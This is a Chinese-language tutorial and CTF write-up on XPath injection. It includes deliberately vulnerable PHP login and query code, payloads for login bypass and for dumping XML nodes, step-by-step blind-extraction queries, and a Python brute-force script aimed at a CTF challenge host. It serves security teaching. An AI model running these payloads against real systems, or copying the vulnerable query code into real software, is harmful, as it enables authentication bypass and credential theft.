XPATH注入姿势

XPATH注入原理

XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权。

XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据

==xPath 没有注释一说,所以构造的 payload 要根据语句进行闭合==

漏洞验证

加一个 ==’ ;==有下列报错,则可以确定Xpath注入的存在性

image-20230328111810277

常规注入

这里xpath有一个类似于sqli的’or ‘1’=‘1的paylaod

']|//*|//*['

该paylaod用于访问xml文档的所有节点

index.php:

<?php
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.":  " . $x_value;
echo "<br />";
}
}
?>

t3stt3st.xml:

<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>

正常查询: http://127.0.0.1/xpath/index.php?user=user1

image-20230328111707536

Xpath注入漏洞验证:

加一个 ’ ;有下列报错,则可以确定Xpath注入的存在性

image-20230328111730272

构造Xpath注入语句:

user1' or 1=1 or ''='

此时的查询语句为

$query="user/username[@name='user1' or 1=1 or ''='']";
##1=1为真 ''='' 为真,使用or连接,则可以匹配当前节点下的所有user

结果:

image-20230328111849982

使用’ or 1=1 or ‘’=’ 只能获取当前节点下的数据,flag不在当前节点中。而这里既然为ctf题目,肯定是需要获取flag的,这里xpath有一个类似于sqli的’or ‘1’=‘1的paylaod

']|//*|//*['

该paylaod用于访问xml文档的所有节点

登录绕过

任意用户登录,这里登test

用户名:==test’ or ‘a’=‘a==

密码随意

这意味着知道任意用户名即可以该用户身份登录,在已知用户账户名的情况下实现任意用户登录。假若管理员用户未知,如我这里设置的比较奇葩的管理用户名,还可以实现以管理员身份登录吗?我们知道一般数据库中默认第一个用户为管理用户。所以这里类似SQLi 的万能密码,使用如下paylaod实现在管理账户未知的情况下管理员登录:

==x’ or 1=1 or ‘’=’==

这种相当于拿一个xml文件当数据库了,php拿着传过来的用户名密码用xpath语法去xml文件里找

login.php:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>tw@xx.com</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>

盲注

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息

Xpath盲注步骤:

  • 判断根节点下的节点数
  • 判断根节点下节点长度&名称
  • …..
  • 重复猜解完所有节点,获取最后的值

从根节点开始判断:

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点

判断根节点长度为8:

'or string-length(name(/*[1]))=8 or ''='

猜解根节点名称:

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c'  or ''='
..
'or substring(name(/*[1]), 8, 1)='s'  or ''='

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''='     /accounts下有两个节点

'or string-length(name(/accounts/*[1]))=4  or ''='    第一个子节点长度为4

猜解accounts下的节点名称:

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r'  or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='    user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点

第一个user节点的子节点长度为8: ‘or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ‘’=’

读取user节点的下子节点

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s'  or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e'  or ''='

最终所有子节点值验证如下:

'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email'  or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype'  or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password'  or ''='

继续猜解:

'or count(/accounts/user[position()=1]/username/*)>0 or ''='   
'or count(/accounts/user[position()=1]/email/*)>0 or ''=' 
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='

均为 false,不再有子节点,则可以尝试读取这些节点的值

第一个user下的username值长度为6:

'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='

读取第一个user下usernaem的值

'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e'  or ''='
    

可依次读取所有的子节点的值,第二user节点的子节点值读取方式:

'or string-length((//user[position()=2]/username[position()=1]))=4 or ''='  第一个user下的username长度为4
......

重复上边步骤即可

参考脚本

import requests
import re

s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_password)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

参考

https://xz.aliyun.com/t/7791

https://www.cnblogs.com/backlion/p/8554749.html

https://www.freebuf.com/articles/web/338732.html

0%